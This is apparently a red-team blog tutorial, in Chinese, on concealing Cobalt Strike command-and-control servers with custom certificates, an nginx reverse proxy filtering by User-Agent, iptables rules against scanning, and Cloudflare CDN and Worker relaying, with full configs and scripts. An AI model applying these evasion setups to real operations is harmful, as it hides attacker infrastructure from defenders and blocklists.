前言
首先紅藍對抗的時候,如果未修改CS特徵、容易被藍隊溯源。
前段時間360公佈了cobalt strike stage uri的特徵,並且緊接著nmap掃描外掛也釋出了。雖說這個特徵很早就被發現了,但最近正好我的ip被卡巴斯基拉黑了/(ㄒoㄒ)/~~,所以來折騰一下。
關於隱藏cobalt strike的特徵,網上有很多方法。例如nginx反代、域前置、修改原始碼等方法。本此主要從nginx反代、cloudflare cdn、cloudflare worker 這三個方面說一下如何隱藏cobalt strike stage uri的特徵,以及進一步隱藏c2域名和IP的方法。並記錄一下部署過程中遇到的坑點。
想了解域前置技術的小夥伴可以先百度瞭解一下。cloudflare無法使用域前置,因為它會校驗SNI。目前不知到阿里雲還行不行。本著匿名,加上cloudlfare免費、對國外訪問支援比較好的特點,所以選擇了cloudflare。下面介紹一下常見的去特徵方式。
去特徵的幾種常見方法
- 1、更改預設埠
方法一、直接編輯teamserver進行啟動項修改。
vi teamserver
方法二、啟動時候指定server_port
java -XX:ParallelGCThreads=4 -Duser.language=en -Dcobaltstrike.server_port=50505 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -Xmx1024m -classpath ./cobaltstrike.jar server.TeamServer xxx.xxx.xx.xx test google.profile
- 2、去除證照特徵
Cobalt Strike預設的證照已經是分分鐘被逮,所以需要生成一個新的證照
這裡可以用keytool這個工具。操作簡單。Keytool是一個Java資料證照的管理工具,Keytool將金鑰(key)和證照(certificates)存在一個稱為keystore的檔案中,即store字尾檔案中。
命令:
‐certreq 生成證照請求
‐changealias 更改條目的別名
‐delete 刪除條目
‐exportcert 匯出證照
‐genkeypair 生成金鑰對
‐genseckey 生成金鑰
‐gencert 根據證照請求生成證照
‐importcert 匯入證照或證照鏈
‐importpass 匯入口令
‐importkeystore 從其他金鑰庫匯入一個或所有條目
‐keypasswd 更改條目的金鑰口令
‐list 列出金鑰庫中的條目
‐printcert 列印證照內容
‐printcertreq 列印證照請求的內容
‐printcrl 列印 CRL 檔案的內容
‐storepasswd 更改金鑰庫的儲存口令
使用命令
keytool -keystore CobaltStrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=ZhongGuo, OU=CC, O=CCSEC, L=BeiJing, ST=ChaoYang, C=CN"
沒改之前
改了之後
這些只是要了解的基礎,接下來我們就在這上面的基礎上,再新增幾步。
0x01 部署Nginx反向代理以及https上線
如果在cobalt strike的c2 malleable配置檔案中沒有自定義http-stager的uri。預設情況下,通過訪問預設的uri,就能獲取到cs的shellcode。加密shellcode的金鑰又是固定的(3.x 0x69,4.x 0x2e),所以能從shellcode中解出c2域名等配置資訊。如圖是nmap掃描外掛的掃描結果。
修改這個特徵的方法有很多,可以修改原始碼加密的金鑰,參考:Bypass cobaltstrike beacon config scan
但是光這樣也很容易被掃描檢測到,所以我們最好還得配置防火牆,限制訪問Cs監聽的埠
接下來介紹的是我用的一種方法:設定iptables,只允許localhost訪問cs listener監聽的埠。將外部請求通過nginx轉發到localhost上的listener。還可以在nginx上設定過濾規則來允許特定請求。
配置/etc/nginx/nginx.conf檔案
首先配置conf檔案,Nginx一鍵安裝,在配置檔案中設定只允許特定的請求頭訪問CS的監聽埠。這裡要根據你的cs配置檔案來進行利用,我用的是jquery-c2.4.0.profile
配置如下:只有用我們所指定的請求頭的請求才能被反向代理到stage uri
location ~*/jquery {
if ($http_user_agent != "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") {
return 302 $REDIRECT_DOMAIN$request_uri;
}
proxy_pass https://127.0.0.1:5553;
申請https證照
這裡可以直接在cloudflare上申請,非常方便,選擇預設的pem格式
分別複製內容儲存為key.pem和chain.pem上傳到cs的伺服器上,再在nginx配置檔案中啟用證照。
server_name img.xxxx.tk
root /usr/share/nginx/html;
ssl_certificate "/usr/local/cs/all/uploads/sss.pem";
ssl_certificate_key "/usr/local/cs/all/uploads/ssk.pem";
ssl_session_cache shared:SSL:1m;
ssl_session_timeout 1440m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2; # managed by Certbot
ssl_prefer_server_ciphers on; # managed by Certbot
為cobalt strike 配置證照
- 1.生成img.xxxx.tk.store檔案
openssl pkcs12 -export -in /api.xxx.com/sss.pem -inkey /api.xxx.com/ssk.pem -out api.xxx.com.p12 -name api.xxx.com -passout pass:123456
keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore api.xxx.com -srckeystore api.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias api.xxx.com
- 2.將生成的api.xxx.com.store放到cs目錄下,修改teamserver檔案最後一行,將cobaltstrike.store修改為api.xxx.com.store和store檔案對應的密碼。
(有必要的話,把埠號也可以改了並設定iptables只允許特定ip訪問)
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=40120 -Djavax.net.ssl.keyStore=./api.xxx.com.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar server.TeamServer $*
- 3.將 keystore 加入 Malleable C2 profile 中
https-certificate {
set keystore “api.xxx.com.store”;
set password “123456”;
}
然後啟動cs設定listener。
這裡https port(bind):設定的43211(cs會把埠開在43211),在nginx配置檔案中的將proxy_pass設定為:https://127.0.0.1:43211。
開啟listener之後設定iptables,只允許127.0.0.1訪問。這下nmap也就掃不出來了。
iptables -A INPUT -s 127.0.0.1 -p tcp --dport 43211 -j ACCEPT
iptables -A INPUT -p tcp --dport 43211 -j DROP
到此為止,隱藏cobalt strike特徵的設定就暫時告一段落,下面繼續說如何隱藏cs伺服器ip和域名。
0x02 配置cloudflare cdn
- 1.先新增域名
- 2.新增A記錄,指向VPS的IP地址
選擇免費版本,設定要加速的子域名,並在你的域名服務商處修改域名解析dns為cloudflare的dns。 - 3.稍等一會,經過cloudflare驗證成功後,本地nslookup域名,看一下生效沒有。
關閉快取
為了實時受到我們的命令的響應:我們需要修改快取規則:
cloudflare能開啟開發模式,來禁用快取,但是隻有3個小時。我們可以通過頁面規則來永久設定快取規則。
因為cs配置檔案中設定的uri都是js結尾的,所以這裡使用*js
來匹配所有uri。
坑點
這裡設定cs配置檔案時候需要,需要將頭設定為header "Content-Type" "application/*; charset=utf-8";
不然可能會出現能上線但是無法回顯命令的情況
這裡的mime-type如果為application/javascript、text/html等,機器執行命令就無法回顯。我懷疑是cdn會檢測響應頭content-type的值,如果是一些靜態檔案的mime-type可能就導致這個問題。
至此,cdn就配置完了。並且能通過cdn正常上線。
配置cloudflare worker
配置這個就類似域前置的作用,但是能找到還能夠進行域前置技術的CDN還是用域前置比較好,cloudfalre worker可以說只是一個替代品。
cloudflare worker能夠執行無伺服器函式,免費使用者有10萬請求/每天的額度。並且你能自定義workers.dev的子域。我們可以編寫js處理以及轉發請求。
js指令碼如下,需要設定X-Forwarded-For頭,不然上線的ip是worker的ipv6地址。
let upstream = 'https://img.xxx.tk'
addEventListener('fetch', event => {
event.respondWith(fetchAndApply(event.request));
})
async function fetchAndApply(request) {
const ipAddress = request.headers.get('cf-connecting-ip') || '';
let requestURL = new URL(request.url);
let upstreamURL = new URL(upstream);
requestURL.protocol = upstreamURL.protocol;
requestURL.host = upstreamURL.host;
requestURL.pathname = upstreamURL.pathname + requestURL.pathname;
let new_request_headers = new Headers(request.headers);
new_request_headers.set("X-Forwarded-For", ipAddress);
let fetchedResponse = await fetch(
new Request(requestURL, {
method: request.method,
headers: new_request_headers,
body: request.body
})
);
let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
modifiedResponseHeaders.delete('set-cookie');
return new Response(
fetchedResponse.body,
{
headers: modifiedResponseHeaders,
status: fetchedResponse.status,
statusText: fetchedResponse.statusText
}
);
}
點選儲存部署,訪問xxx.ttttt-api.workers.dev域名,看看是否正常。然後在listener中設定
到此設定完畢。
之後通訊的請求都是通過xxx.xxx.workers.dev進行的,隱藏了真實域名。並且shellcode通訊的ip地址也是cloudflare的ip。